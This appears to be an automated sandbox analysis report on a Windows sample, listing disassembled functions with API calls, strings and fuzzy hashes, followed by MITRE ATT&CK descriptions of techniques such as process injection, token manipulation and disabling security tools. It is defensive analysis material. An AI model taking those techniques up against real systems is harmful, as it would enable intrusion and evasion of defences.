Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _snwprintf
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3988819677-2584243854
Opcode ID: 7733e8ffdbc908513bc815d9413fe00ea9424621e57dd4bd42adfa79e2cf55fb
Instruction ID: 3d7c01b0e1b581d9986e3ff8e9856e34010719977737e7d8bcf36b7865b25463
Opcode Fuzzy Hash: 7733e8ffdbc908513bc815d9413fe00ea9424621e57dd4bd42adfa79e2cf55fb
Instruction Fuzzy Hash: 4A315B7AB08A02A5FB20EB65E4521BCB771FB85784B8041B6DE0D17659DF38E40AE360

Function 00007FF73A27B224 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D932C: CreateWindowExW.USER32 ref: 00007FF73A1D93BC
Part of subcall function 00007FF73A1D932C: GetStockObject.GDI32 ref: 00007FF73A1D93D9
Part of subcall function 00007FF73A1D932C: SendMessageW.USER32 ref: 00007FF73A1D93EC

SetWindowPos.USER32 ref: 00007FF73A27B31B

Strings

, xrefs: 00007FF73A27B2FE
SysTabControl32, xrefs: 00007FF73A27B278

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$CreateMessageObjectSendStock
String ID: $SysTabControl32
API String ID: 2080134422-3143400907
Opcode ID: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
Instruction ID: 7b4308e6328bc74ae4dbb4510d07432de90b238e8a89b73f4ba2b027cf688c4b
Opcode Fuzzy Hash: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
Instruction Fuzzy Hash: D53197365087C1CAE720DF25E84479AB7A0F784BA4F544339EAA907AE8CB39D481DF10

Function 00007FF73A20DC30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF73A20DCA2
GetFileType.KERNEL32 ref: 00007FF73A20DCB8

Strings

@, xrefs: 00007FF73A20DCE3

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
Instruction ID: e922025f556800431eb523a846e2111f9f6c02ab2860dfc69c1243d182263adf
Opcode Fuzzy Hash: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
Instruction Fuzzy Hash: CC21092AA09B4291FB60DB389C91138A650EBC5774FA51375D66F037D4CE3CD881F322

Function 00007FF73A27A0C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D932C: CreateWindowExW.USER32 ref: 00007FF73A1D93BC
Part of subcall function 00007FF73A1D932C: GetStockObject.GDI32 ref: 00007FF73A1D93D9
Part of subcall function 00007FF73A1D932C: SendMessageW.USER32 ref: 00007FF73A1D93EC

GetWindowRect.USER32 ref: 00007FF73A27A18B
GetSysColor.USER32 ref: 00007FF73A27A1B2

Strings

static, xrefs: 00007FF73A27A10B

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
Instruction ID: a93aa59dca682ad0b10f39af5bb18ed7f63aaade11278cd06904a73ba34f333f
Opcode Fuzzy Hash: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
Instruction Fuzzy Hash: B4316736A08781CBE324DF29E441B5AB7A5F788790F504279EB9943B99CB3DE841DF10

Function 00007FF73A279868 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D932C: CreateWindowExW.USER32 ref: 00007FF73A1D93BC
Part of subcall function 00007FF73A1D932C: GetStockObject.GDI32 ref: 00007FF73A1D93D9
Part of subcall function 00007FF73A1D932C: SendMessageW.USER32 ref: 00007FF73A1D93EC

SendMessageW.USER32 ref: 00007FF73A27994F
SendMessageW.USER32 ref: 00007FF73A279963

Strings

Combobox, xrefs: 00007FF73A279905

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Combobox
API String ID: 1025951953-2096851135
Opcode ID: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
Instruction ID: 7ff99428bc2c1cc261eb6651b3a093382a75c7ab9585dc3f1d397fd57fa9fa95
Opcode Fuzzy Hash: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
Instruction Fuzzy Hash: B2316A366087C1CBE3709F25B445B5AB7A1F784790F504274EAA803B99CB3DD841DF00

Function 00007FF73A279BD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF73A279CB6
SendMessageW.USER32 ref: 00007FF73A279CCA

Strings

edit, xrefs: 00007FF73A279C24

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
Instruction ID: 902c828a88d5fab0114639dc8bb80ae486fe908dddde9206dbd819e6b1ad9016
Opcode Fuzzy Hash: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
Instruction Fuzzy Hash: 3F316B36A08781CAE770DB15E44475AB7A1F7C8790F504275EAAC43B99CB3DD881DF10

Function 00007FF73A20FD90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF73A20FEA2

Strings

pow, xrefs: 00007FF73A20FE91
", xrefs: 00007FF73A20FE7B

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
Instruction ID: c624dd2c2697859bf22e41a12912b9f9f1dec02c9ddd77d0c5cd618449ed9dfb
Opcode Fuzzy Hash: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
Instruction Fuzzy Hash: 54218B76D1CAC593E370DF14E041A6AFAA0FBDA344F602336F68906A55CBBDD081AB11

Function 00007FF73A23DDF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A240730: GetClassNameW.USER32 ref: 00007FF73A24075B

SendMessageW.USER32 ref: 00007FF73A23DE7F

Strings

ComboBox, xrefs: 00007FF73A23DE0B
ListBox, xrefs: 00007FF73A23DE42

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: ac0540a302cdf1ebfe95abca1fa66a181e3f92b28f90b6137b09374f88272cc8
Instruction ID: 4952452b34ca10a13293ac60846849d933f106820211bab156b3f0ed65b42a88
Opcode Fuzzy Hash: ac0540a302cdf1ebfe95abca1fa66a181e3f92b28f90b6137b09374f88272cc8
Instruction Fuzzy Hash: 7F11056AA08780A1F710EB10D0420F9B7A0FFC5BA0F844271DAAC477D9DE3CD105E710

Function 00007FF73A23DCA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A240730: GetClassNameW.USER32 ref: 00007FF73A24075B

SendMessageW.USER32 ref: 00007FF73A23DD26

Strings

ComboBox, xrefs: 00007FF73A23DCB5
ListBox, xrefs: 00007FF73A23DCEA

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 1aa9a5fedcd61ac4c6746f205fa814396e56ee98905ee4bb11006db30ca2fd49
Instruction ID: 39de10717defc773e74c54d4951fb94bb3ba7f319d2c41f7e92316b1d6f0f999
Opcode Fuzzy Hash: 1aa9a5fedcd61ac4c6746f205fa814396e56ee98905ee4bb11006db30ca2fd49
Instruction Fuzzy Hash: FF11866BA1D681A1FB10EB10E0521FAA360FFC9780FC44571EA8D47699DF6CD605EB60

Function 00007FF73A23DD48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A240730: GetClassNameW.USER32 ref: 00007FF73A24075B

SendMessageW.USER32 ref: 00007FF73A23DDCE

Strings

ComboBox, xrefs: 00007FF73A23DD5D
ListBox, xrefs: 00007FF73A23DD92

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: e43b7f97c13e843bcb6dbe49a6aeedc4eedee2012ee89b8e0aef76c44f24edce
Instruction ID: d6cd3d89390120b7c56abd76f4d463507c2a31c4ff7614ec7c98a42ce82e6946
Opcode Fuzzy Hash: e43b7f97c13e843bcb6dbe49a6aeedc4eedee2012ee89b8e0aef76c44f24edce
Instruction Fuzzy Hash: 5111B22AA0C685B1FF20E710E0521FAA760FFC67C0FC44571DA8D07A8ADE2CD205EB10

Function 00007FF73A27FEA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 00007FF73A27FF29
CloseHandle.KERNEL32 ref: 00007FF73A27FF3A

Strings

, xrefs: 00007FF73A27FF01

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-3916222277
Opcode ID: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
Instruction ID: 8af65c94c5429c401b3f78ab5e326882cb7f9194d6000ae8d04618a1ce998099
Opcode Fuzzy Hash: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
Instruction Fuzzy Hash: D1119E36A18741AAF710AF12F84256AF7A5FBC4780F844175EA8847A65CF3DD080EB10

Function 00007FF73A23DEA8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A240730: GetClassNameW.USER32 ref: 00007FF73A24075B

SendMessageW.USER32 ref: 00007FF73A23DF26

Strings

ComboBox, xrefs: 00007FF73A23DEB5
ListBox, xrefs: 00007FF73A23DEEA

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 56ec3e8c878b8dec19b78c5e1d00d39d91edbb3d9af1a7541dee1bda2a2e2757
Instruction ID: 75ff662dd4e22f868f680871dafbf08fd9f0781a0debc783713895f225540944
Opcode Fuzzy Hash: 56ec3e8c878b8dec19b78c5e1d00d39d91edbb3d9af1a7541dee1bda2a2e2757
Instruction Fuzzy Hash: DD01522AA1C542B1FA20F714E1921B9A360EFC6394FC44271E58D47ADADE6CD609EB10

Function 00007FF73A2114FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF73A21158E

Part of subcall function 00007FF73A20FA90: _ctrlfp.LIBCMT ref: 00007FF73A20FACB
Part of subcall function 00007FF73A20FA90: _raise_exc.LIBCMT ref: 00007FF73A20FB37

Strings

!, xrefs: 00007FF73A211576
sin, xrefs: 00007FF73A211502

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$sin
API String ID: 3384550415-1565623160
Opcode ID: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
Instruction ID: ff0c03c7bacf56266b9defe3fe4febef1d97d7e2f7d202d99c8888cc0d8fe117
Opcode Fuzzy Hash: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
Instruction Fuzzy Hash: 5E01FC75E18BC951E614DF22A80133AA252BFDA7D8F504338E95E0ABC8EF7DD0406B00

Function 00007FF73A2114E8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF73A21158E

Part of subcall function 00007FF73A20FA90: _ctrlfp.LIBCMT ref: 00007FF73A20FACB
Part of subcall function 00007FF73A20FA90: _raise_exc.LIBCMT ref: 00007FF73A20FB37

Strings

!, xrefs: 00007FF73A211576
cos, xrefs: 00007FF73A2114EE

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$cos
API String ID: 3384550415-1949035351
Opcode ID: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
Instruction ID: da208db8ea534933740705d1f922c7191c49812a9e97c7810542ed87fecddb7b
Opcode Fuzzy Hash: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
Instruction Fuzzy Hash: 8201FC75E28B8951E614DF22A80133AA152BFDA7D8F504338E95E0ABC8EF7DD0507B00

Function 00007FF73A211370 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF73A2113F6

Strings

", xrefs: 00007FF73A2113CF
exp, xrefs: 00007FF73A2113E5

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _handle_error
String ID: "$exp
API String ID: 1757819995-2878093337
Opcode ID: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
Instruction ID: 0074d37248f25814451b542b0a34cf069c97e6e21048713dd71f3ae1c79e2b5a
Opcode Fuzzy Hash: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
Instruction Fuzzy Hash: 3201C83A928B8883F220DF24D4462AAB7B0FFEA744F601319E74416A64CB7DD481AB00

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

